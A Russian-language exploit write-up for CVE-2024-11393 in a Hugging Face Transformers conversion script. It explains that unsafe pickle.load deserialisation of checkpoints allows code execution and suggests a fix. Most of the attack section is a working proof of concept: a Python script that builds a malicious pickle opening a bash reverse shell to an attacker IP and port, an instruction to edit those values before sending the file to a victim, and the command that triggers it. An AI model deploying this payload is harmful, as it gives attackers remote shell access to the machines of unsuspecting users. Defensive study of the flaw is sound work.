
Technical Details and Exploit for CVE-2024-11393
Обзор высокого уровня и последствия уязвимости:
Уязвимость позволяет злоумышленнику выполнить произвольный код на целевой машине, предоставив вредоносный файл контрольной точки maskformer resnet скрипту convert_maskformer_swin_to_pytorch.py из репозитория Hugging Face Transformers.
Если ничего не подозревающий пользователь использует сторонний файл контрольной точки maskformer resnet, выполнение скрипта convert_maskformer_swin_to_pytorch.py приведет к удаленному выполнению кода (RCE) на системе жертвы.
Уязвимый продукт
Анализ первопричины
pickle.load для загрузки файла контрольной точки и уязвим для выполнения кода.maskformer.convert_maskformer_swin_to_pytorch.py и передает ему файл контрольной точки.convert_maskformer_swin_to_pytorch.py десериализует файл контрольной точки и выполняет вредоносный код.Точка внедрения: Уязвимость возникает в момент вызова pickle.load.
Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Предлагаемые исправления: Замените pickle.load на yaml.safe_load(yaml_file) или json.load, чтобы предотвратить выполнение произвольного кода.
Инструкции по выполнению доказательства концепции:
malicious.pkl, который создаст обратную оболочку (reverse shell) на системе жертвы:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
Примечание: Измените ATTACKER_IP и ATTACKER_PORT перед отправкой файла жертве.
convert_maskformer_swin_to_pytorch.py и передайте файл malicious.pkl в параметр --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Примечание:
pytorch_dump_folder_pathможет быть задан как любая директория, аmodel_name— как любая модель.
Ссылка для загрузки ПО:
https://github.com/huggingface/transformers/tree/main